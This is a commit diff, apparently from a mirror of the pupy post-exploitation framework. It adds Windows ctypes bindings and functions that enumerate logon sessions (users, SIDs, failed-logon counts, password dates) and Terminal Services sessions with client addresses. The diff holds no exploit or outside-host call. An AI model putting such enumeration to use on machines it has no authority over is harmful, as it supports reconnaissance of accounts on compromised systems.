mirror of https://github.com/n1nj4sec/pupy.git
last: support windows
This commit is contained in:
parent
1245883b90
commit
2bad0e39db
|
@ -8,17 +8,19 @@ from ctypes import (
|
|||
POINTER, create_unicode_buffer, create_string_buffer,
|
||||
get_last_error, cast, c_void_p, sizeof, c_int, c_ulong,
|
||||
c_wchar, GetLastError, WinError, byref, addressof, c_size_t,
|
||||
c_ubyte, resize
|
||||
c_ubyte, resize, c_longlong
|
||||
)
|
||||
|
||||
from ctypes.wintypes import (
|
||||
BOOL, LPSTR, LPWSTR, BYTE, LPCSTR, LPCWSTR, USHORT, HANDLE
|
||||
BOOL, LPSTR, LPWSTR, BYTE,
|
||||
LPCSTR, LPCWSTR, USHORT, HANDLE
|
||||
)
|
||||
|
||||
import subprocess
|
||||
import psutil
|
||||
import sys
|
||||
import os
|
||||
import socket
|
||||
|
||||
import logging
|
||||
|
||||
|
@ -38,6 +40,7 @@ advapi32 = WinDLL('advapi32', use_last_error=True)
|
|||
shell32 = WinDLL('shell32', use_last_error=True)
|
||||
kernel32 = WinDLL('kernel32', use_last_error=True)
|
||||
userenv = WinDLL('userenv', use_last_error=True)
|
||||
secur32 = WinDLL('secur32', use_last_error=True)
|
||||
|
||||
LPVOID = c_void_p
|
||||
PVOID = LPVOID
|
||||
|
@ -52,6 +55,9 @@ PULONG = c_void_p
|
|||
LPBYTE = c_char_p
|
||||
SIZE_T = c_size_t
|
||||
ULONG = c_ulong
|
||||
WCHAR = c_wchar
|
||||
NTSTATUS = DWORD
|
||||
LARGE_INTEGER = c_longlong
|
||||
|
||||
INVALID_HANDLE_VALUE = c_void_p(-1).value
|
||||
SECURITY_INFORMATION = DWORD
|
||||
|
@ -778,6 +784,346 @@ LocalFree = kernel32.LocalFree
|
|||
LocalFree.restype = HANDLE
|
||||
LocalFree.argtypes = [HANDLE]
|
||||
|
||||
class LSA_UNICODE_STRING(Structure):
|
||||
_fields_ = (
|
||||
('Length', USHORT),
|
||||
('MaximumLength', USHORT),
|
||||
('Buffer', LPWSTR)
|
||||
)
|
||||
|
||||
class LSA_LAST_INTER_LOGON_INFO(Structure):
|
||||
_fields_ = (
|
||||
('LastSuccessfulLogon', LARGE_INTEGER),
|
||||
('LastFailedLogon', LARGE_INTEGER),
|
||||
('FailedAttemptCountSinceLastSuccessfulLogon', ULONG)
|
||||
)
|
||||
|
||||
class SECURITY_LOGON_SESSION_DATA(Structure):
|
||||
_fields_ = (
|
||||
('Size', ULONG),
|
||||
('LogonId', LUID),
|
||||
('UserName', LSA_UNICODE_STRING),
|
||||
('LogonDomain', LSA_UNICODE_STRING),
|
||||
('AuthenticationPackage', LSA_UNICODE_STRING),
|
||||
('LogonType', ULONG),
|
||||
('Session', ULONG),
|
||||
('Sid', PSID),
|
||||
('LogonTime', LARGE_INTEGER),
|
||||
('LogonServer', LSA_UNICODE_STRING),
|
||||
('DnsDomainName', LSA_UNICODE_STRING),
|
||||
('Upn', LSA_UNICODE_STRING),
|
||||
('UserFlags', ULONG),
|
||||
('LastLogonInfo', LSA_LAST_INTER_LOGON_INFO),
|
||||
('LogonScript', LSA_UNICODE_STRING),
|
||||
('ProfilePath', LSA_UNICODE_STRING),
|
||||
('HomeDirectory', LSA_UNICODE_STRING),
|
||||
('HomeDirectoryDrive', LSA_UNICODE_STRING),
|
||||
('LogoffTime', LARGE_INTEGER),
|
||||
('KickOffTime', LARGE_INTEGER),
|
||||
('PasswordLastSet', LARGE_INTEGER),
|
||||
('PasswordCanChange', LARGE_INTEGER),
|
||||
('PasswordMustChange', LARGE_INTEGER),
|
||||
)
|
||||
|
||||
PSECURITY_LOGON_SESSION_DATA = POINTER(SECURITY_LOGON_SESSION_DATA)
|
||||
PPSECURITY_LOGON_SESSION_DATA = POINTER(PSECURITY_LOGON_SESSION_DATA)
|
||||
|
||||
LOGON_TYPE = (
|
||||
'Undefined',
|
||||
'Interactive',
|
||||
'Network',
|
||||
'Batch',
|
||||
'Service',
|
||||
'Proxy',
|
||||
'Unlock',
|
||||
'NetworkCleartext',
|
||||
'NewCredentials',
|
||||
'RemoteInteractive',
|
||||
'CachedInteractive',
|
||||
'CachedRemoteInteractive',
|
||||
'CachedUnlock'
|
||||
)
|
||||
|
||||
def LsaSessionDataFlagsToStr(flags):
|
||||
result = []
|
||||
|
||||
if flags & 0x4000:
|
||||
result.append('Optimized')
|
||||
if flags & 0x8000:
|
||||
result.append('WinLogon')
|
||||
if flags & 0x10000:
|
||||
result.append('Kerberos')
|
||||
if flags & 0x20000:
|
||||
result.append('Not Optimized')
|
||||
|
||||
return result
|
||||
|
||||
def FileTimeToUnix(filetime):
|
||||
if filetime < 1:
|
||||
return filetime
|
||||
|
||||
return (filetime / 10000000) - 11644473600L
|
||||
|
||||
LsaEnumerateLogonSessions = secur32.LsaEnumerateLogonSessions
|
||||
LsaEnumerateLogonSessions.restype = NTSTATUS
|
||||
LsaEnumerateLogonSessions.argtypes = [PULONG, PVOID()]
|
||||
|
||||
LsaGetLogonSessionData = secur32.LsaGetLogonSessionData
|
||||
LsaGetLogonSessionData.restype = NTSTATUS
|
||||
LsaGetLogonSessionData.argtypes = [PLUID, PPSECURITY_LOGON_SESSION_DATA]
|
||||
|
||||
LsaFreeReturnBuffer = secur32.LsaFreeReturnBuffer
|
||||
LsaFreeReturnBuffer.restype = NTSTATUS
|
||||
LsaFreeReturnBuffer.argtypes = [PVOID]
|
||||
|
||||
LsaNtStatusToWinError = advapi32.LsaNtStatusToWinError
|
||||
LsaNtStatusToWinError.restype = ULONG
|
||||
LsaNtStatusToWinError.argtypes = [NTSTATUS]
|
||||
|
||||
try:
|
||||
wtsapi32 = WinDLL('wtsapi32', use_last_error=True)
|
||||
|
||||
class WTS_SERVER_INFOW(Structure):
|
||||
_fields_ = (
|
||||
('pServerName', LPWSTR),
|
||||
)
|
||||
|
||||
|
||||
WTS_CONNECTSTATE_CLASS = (
|
||||
'Active',
|
||||
'Connected',
|
||||
'ConnectQuery',
|
||||
'Shadow',
|
||||
'Disconnected',
|
||||
'Idle',
|
||||
'Listen',
|
||||
'Reset',
|
||||
'Down',
|
||||
'Init'
|
||||
)
|
||||
|
||||
class WTS_SESSION_INFOW(Structure):
|
||||
_fields_ = (
|
||||
('SessionId', DWORD),
|
||||
('pWinStationName', LPWSTR),
|
||||
('State', DWORD),
|
||||
)
|
||||
|
||||
PWTS_SESSION_INFOW = POINTER(WTS_SESSION_INFOW)
|
||||
PPWTS_SESSION_INFOW = POINTER(PWTS_SESSION_INFOW)
|
||||
|
||||
PWTS_SERVER_INFOW = POINTER(WTS_SERVER_INFOW)
|
||||
PPWTS_SERVER_INFOW = POINTER(PWTS_SERVER_INFOW)
|
||||
|
||||
WTSEnumerateServersW = wtsapi32.WTSEnumerateServersW
|
||||
WTSEnumerateServersW.restype = BOOL
|
||||
WTSEnumerateServersW.argtypes = (
|
||||
LPWSTR, DWORD, DWORD, POINTER(PVOID), POINTER(DWORD)
|
||||
)
|
||||
|
||||
WTSFreeMemory = wtsapi32.WTSFreeMemory
|
||||
WTSFreeMemory.argtypes = (PVOID,)
|
||||
|
||||
WTSEnumerateSessionsW = wtsapi32.WTSEnumerateSessionsW
|
||||
WTSEnumerateSessionsW.restype = BOOL
|
||||
WTSEnumerateSessionsW.argtypes = (
|
||||
HANDLE, DWORD, DWORD, POINTER(PVOID), POINTER(DWORD)
|
||||
)
|
||||
|
||||
WTSQuerySessionInformationW = wtsapi32.WTSQuerySessionInformationW
|
||||
WTSQuerySessionInformationW.restype = BOOL
|
||||
WTSQuerySessionInformationW.argtypes = (
|
||||
HANDLE, DWORD, DWORD, POINTER(PVOID), POINTER(DWORD)
|
||||
)
|
||||
|
||||
WTSInitialProgram, WTSApplicationName, WTSWorkingDirectory, WTSOEMId, \
|
||||
WTSSessionId, WTSUserName, WTSWinStationName, WTSDomainName, WTSConnectState, \
|
||||
WTSClientBuildNumber, WTSClientName, WTSClientDirectory, WTSClientProductId, \
|
||||
WTSClientHardwareId, WTSClientAddress, WTSClientDisplay, \
|
||||
WTSClientProtocolType, WTSIdleTime, WTSLogonTime, WTSIncomingBytes, \
|
||||
WTSOutgoingBytes, WTSIncomingFrames, WTSOutgoingFrames, WTSClientInfo, \
|
||||
WTSSessionInfo, WTSSessionInfoEx, WTSConfigInfo, WTSValidationInfo, \
|
||||
WTSSessionAddressV4, WTSIsRemoteSession = xrange(30)
|
||||
|
||||
MAX_PATH = 260
|
||||
|
||||
WDPREFIX_LENGTH = 12
|
||||
STACK_ADDRESS_LENGTH = 128
|
||||
MAX_BR_NAME = 65
|
||||
DIRECTORY_LENGTH = 256
|
||||
INITIALPROGRAM_LENGTH = 256
|
||||
USERNAME_LENGTH = 20
|
||||
DOMAIN_LENGTH = 17
|
||||
PASSWORD_LENGTH = 14
|
||||
NASISPECIFICNAME_LENGTH = 14
|
||||
NASIUSERNAME_LENGTH = 47
|
||||
NASIPASSWORD_LENGTH = 24
|
||||
NASISESSIONNAME_LENGTH = 16
|
||||
NASIFILESERVER_LENGTH = 47
|
||||
|
||||
CLIENTDATANAME_LENGTH = 7
|
||||
CLIENTNAME_LENGTH = 20
|
||||
CLIENTADDRESS_LENGTH = 30
|
||||
IMEFILENAME_LENGTH = 32
|
||||
DIRECTORY_LENGTH = 256
|
||||
CLIENTLICENSE_LENGTH = 32
|
||||
CLIENTMODEM_LENGTH = 40
|
||||
CLIENT_PRODUCT_ID_LENGTH = 32
|
||||
MAX_COUNTER_EXTENSIONS = 2
|
||||
WINSTATIONNAME_LENGTH = 32
|
||||
|
||||
class WTSCLIENTW(Structure):
|
||||
_fields_ = (
|
||||
('ClientName', WCHAR * (CLIENTNAME_LENGTH+1)),
|
||||
('Domain', WCHAR * (DOMAIN_LENGTH+1)),
|
||||
('UserName', WCHAR * (USERNAME_LENGTH+1)),
|
||||
('WorkDirectory', WCHAR * (MAX_PATH+1)),
|
||||
('InitialProgram', WCHAR * (MAX_PATH+1)),
|
||||
('EncryptionLevel', BYTE),
|
||||
('ClientAddressFamily', ULONG),
|
||||
('ClientAddress', USHORT*(CLIENTADDRESS_LENGTH+1)),
|
||||
('HRes', USHORT),
|
||||
('VRes', USHORT),
|
||||
('ColorDepth', USHORT),
|
||||
('ClientDirectory', WCHAR * (MAX_PATH+1)),
|
||||
('ClientBuildNumber', ULONG),
|
||||
('ClientHardwareId', ULONG),
|
||||
('ClientProductId', USHORT),
|
||||
('OutBufCountHost', USHORT),
|
||||
('OutBufCountClient', USHORT),
|
||||
('OutBufLength', USHORT),
|
||||
('DeviceId', WCHAR * (MAX_PATH+1))
|
||||
)
|
||||
|
||||
PWTSCLIENTW = POINTER(WTSCLIENTW)
|
||||
|
||||
class WTSINFOW(Structure):
|
||||
_fields_ = (
|
||||
('State', DWORD),
|
||||
('SessionId', DWORD),
|
||||
('IncomingBytes', DWORD),
|
||||
('OutgoingBytes', DWORD),
|
||||
('IncomingFrames', DWORD),
|
||||
('OutgoingFrames', DWORD),
|
||||
('IncomingCompressedBytes', DWORD),
|
||||
('OutgoingCompressedBytes', DWORD),
|
||||
('WinStationName', WCHAR * WINSTATIONNAME_LENGTH),
|
||||
('Domain', WCHAR * DOMAIN_LENGTH),
|
||||
('UserName', WCHAR * (USERNAME_LENGTH+1)),
|
||||
('ConnectTime', LARGE_INTEGER),
|
||||
('DisconnectTime', LARGE_INTEGER),
|
||||
('LastInputTime', LARGE_INTEGER),
|
||||
('LogonTime', LARGE_INTEGER),
|
||||
('CurrentTime', LARGE_INTEGER)
|
||||
)
|
||||
|
||||
PWTSINFOW = POINTER(WTSINFOW)
|
||||
|
||||
def mkzstring(data):
|
||||
if '\0' in data:
|
||||
return data[:data.index('\0')]
|
||||
|
||||
return data
|
||||
|
||||
def mkaddress(family, data):
|
||||
if family == socket.AF_UNSPEC:
|
||||
return None
|
||||
|
||||
addr_len = data[0]
|
||||
addr_data = data[1:addr_len]
|
||||
|
||||
if family == socket.AF_INET:
|
||||
return ''.join(chr(x) for x in addr_data)
|
||||
else:
|
||||
return ''.join(hex(x)[2:] for x in addr_data)
|
||||
|
||||
def EnumerateWTS():
|
||||
info = PVOID()
|
||||
count = DWORD()
|
||||
|
||||
if WTSEnumerateSessionsW(None, 0, 1, byref(info), byref(count)) == 0:
|
||||
raise WinError(get_last_error())
|
||||
|
||||
sessions = []
|
||||
try:
|
||||
_info = cast(info, POINTER(WTS_SESSION_INFOW))
|
||||
for idx in xrange(count.value):
|
||||
sessions.append((
|
||||
_info[idx].SessionId, _info[idx].pWinStationName,
|
||||
_info[idx].State
|
||||
))
|
||||
|
||||
del _info
|
||||
|
||||
finally:
|
||||
WTSFreeMemory(info)
|
||||
|
||||
session_infos = {}
|
||||
|
||||
for session_id, station, state in sessions:
|
||||
info = PVOID()
|
||||
dwSize = DWORD()
|
||||
|
||||
session_infos[station] = {
|
||||
'state': WTS_CONNECTSTATE_CLASS[state]
|
||||
}
|
||||
|
||||
|
||||
if WTSQuerySessionInformationW(
|
||||
None, session_id, WTSClientInfo, byref(info), byref(dwSize)) == 0:
|
||||
raise WinError(get_last_error())
|
||||
|
||||
try:
|
||||
_info = cast(info, PWTSCLIENTW)
|
||||
session_infos[station]['client'] = {
|
||||
'ClientName': mkzstring(_info[0].ClientName),
|
||||
'Domain': mkzstring(_info[0].Domain),
|
||||
'UserName': mkzstring(_info[0].UserName),
|
||||
'WorkDirectory': mkzstring(_info[0].WorkDirectory),
|
||||
'EncryptionLevel': _info[0].EncryptionLevel,
|
||||
'ClientAddress': mkaddress(
|
||||
_info[0].ClientAddressFamily, _info[0].ClientAddress),
|
||||
'HRes': _info[0].HRes,
|
||||
'VRes': _info[0].VRes,
|
||||
'ColorDepth': _info[0].ColorDepth,
|
||||
'ClientDirectory': mkzstring(_info[0].ClientDirectory),
|
||||
'ClientBuildNumber': _info[0].ClientBuildNumber,
|
||||
'ClientProductId': _info[0].ClientProductId,
|
||||
'DeviceIdD': mkzstring(_info[0].DeviceId)
|
||||
}
|
||||
|
||||
del _info
|
||||
finally:
|
||||
WTSFreeMemory(info)
|
||||
|
||||
if WTSQuerySessionInformationW(
|
||||
None, session_id, WTSSessionInfo, byref(info), byref(dwSize)) == 0:
|
||||
raise WinError(get_last_error())
|
||||
|
||||
try:
|
||||
_info = cast(info, PWTSINFOW)
|
||||
session_infos[station]['info'] = {
|
||||
'Domain': mkzstring(_info[0].Domain),
|
||||
'UserName': mkzstring(_info[0].UserName),
|
||||
'ConnectTime': FileTimeToUnix(_info[0].ConnectTime),
|
||||
'DisconnectTime': FileTimeToUnix(_info[0].DisconnectTime),
|
||||
'LastInputTime': FileTimeToUnix(_info[0].LastInputTime),
|
||||
'LogonTime': FileTimeToUnix(_info[0].LogonTime),
|
||||
'CurrentTime': FileTimeToUnix(_info[0].CurrentTime),
|
||||
}
|
||||
|
||||
del _info
|
||||
finally:
|
||||
WTSFreeMemory(info)
|
||||
|
||||
return session_infos
|
||||
|
||||
|
||||
except (WindowsError, AttributeError):
|
||||
# Unsupported
|
||||
def EnumerateWTS():
|
||||
raise NotImplementedError('WTS Enumeration not implemented')
|
||||
|
||||
try:
|
||||
InitializeProcThreadAttributeList = kernel32.InitializeProcThreadAttributeList
|
||||
InitializeProcThreadAttributeList.restype = BOOL
|
||||
|
@ -828,6 +1174,65 @@ ERROR_INVALID_PARAMETER = 87
|
|||
ERROR_NOT_ALL_ASSIGNED = 1300
|
||||
ERROR_NO_TOKEN = 1008
|
||||
|
||||
|
||||
def EnumerateLogonSessions():
|
||||
uids = PVOID()
|
||||
uids_cnt = ULONG()
|
||||
|
||||
status = LsaEnumerateLogonSessions(byref(uids_cnt), byref(uids))
|
||||
if status != 0:
|
||||
raise WinError(LsaNtStatusToWinError(status))
|
||||
|
||||
sessions = []
|
||||
|
||||
try:
|
||||
for pluid in cast(uids, POINTER(LUID*uids_cnt.value)).contents:
|
||||
session = PSECURITY_LOGON_SESSION_DATA()
|
||||
try:
|
||||
status = LsaGetLogonSessionData(pluid, byref(session))
|
||||
if status != 0:
|
||||
raise WinError(LsaNtStatusToWinError(status))
|
||||
|
||||
content = session.contents
|
||||
|
||||
sessions.append({
|
||||
'user': content.UserName.Buffer,
|
||||
'domain': content.LogonDomain.Buffer,
|
||||
'auth': content.AuthenticationPackage.Buffer,
|
||||
'type': LOGON_TYPE[content.LogonType],
|
||||
'session': content.Session,
|
||||
'sid': strsid(content.Sid),
|
||||
'logon': FileTimeToUnix(content.LogonTime),
|
||||
'server': content.LogonServer.Buffer,
|
||||
'dns': content.DnsDomainName.Buffer,
|
||||
'upn': content.Upn.Buffer,
|
||||
'flags': LsaSessionDataFlagsToStr(content.UserFlags),
|
||||
'logon-info': {
|
||||
'success': FileTimeToUnix(content.LastLogonInfo.LastSuccessfulLogon),
|
||||
'failed': FileTimeToUnix(content.LastLogonInfo.LastFailedLogon),
|
||||
'attempts': content.LastLogonInfo.FailedAttemptCountSinceLastSuccessfulLogon,
|
||||
},
|
||||
'profile': content.ProfilePath.Buffer,
|
||||
'home': content.HomeDirectory.Buffer,
|
||||
'drive': content.HomeDirectoryDrive.Buffer,
|
||||
'logoff': FileTimeToUnix(content.LogoffTime),
|
||||
'kickoff': FileTimeToUnix(content.KickOffTime),
|
||||
'password': {
|
||||
'last': FileTimeToUnix(content.PasswordLastSet),
|
||||
'changable': FileTimeToUnix(content.PasswordCanChange),
|
||||
'change': FileTimeToUnix(content.PasswordMustChange)
|
||||
}
|
||||
})
|
||||
|
||||
finally:
|
||||
LsaFreeReturnBuffer(session)
|
||||
|
||||
finally:
|
||||
LsaFreeReturnBuffer(uids)
|
||||
|
||||
return sessions
|
||||
|
||||
|
||||
def GetUserName():
|
||||
nSize = DWORD(0)
|
||||
GetUserNameW(None, byref(nSize))
|
||||
|
@ -1440,6 +1845,9 @@ def access(path, mode):
|
|||
return is_access_granted
|
||||
|
||||
def strsid(sid, exc=True):
|
||||
if not sid:
|
||||
return None
|
||||
|
||||
StringSid = LPTSTR()
|
||||
|
||||
if ConvertSidToStringSidA(sid, byref(StringSid)):
|
||||
|
|
Loading…
Reference in New Issue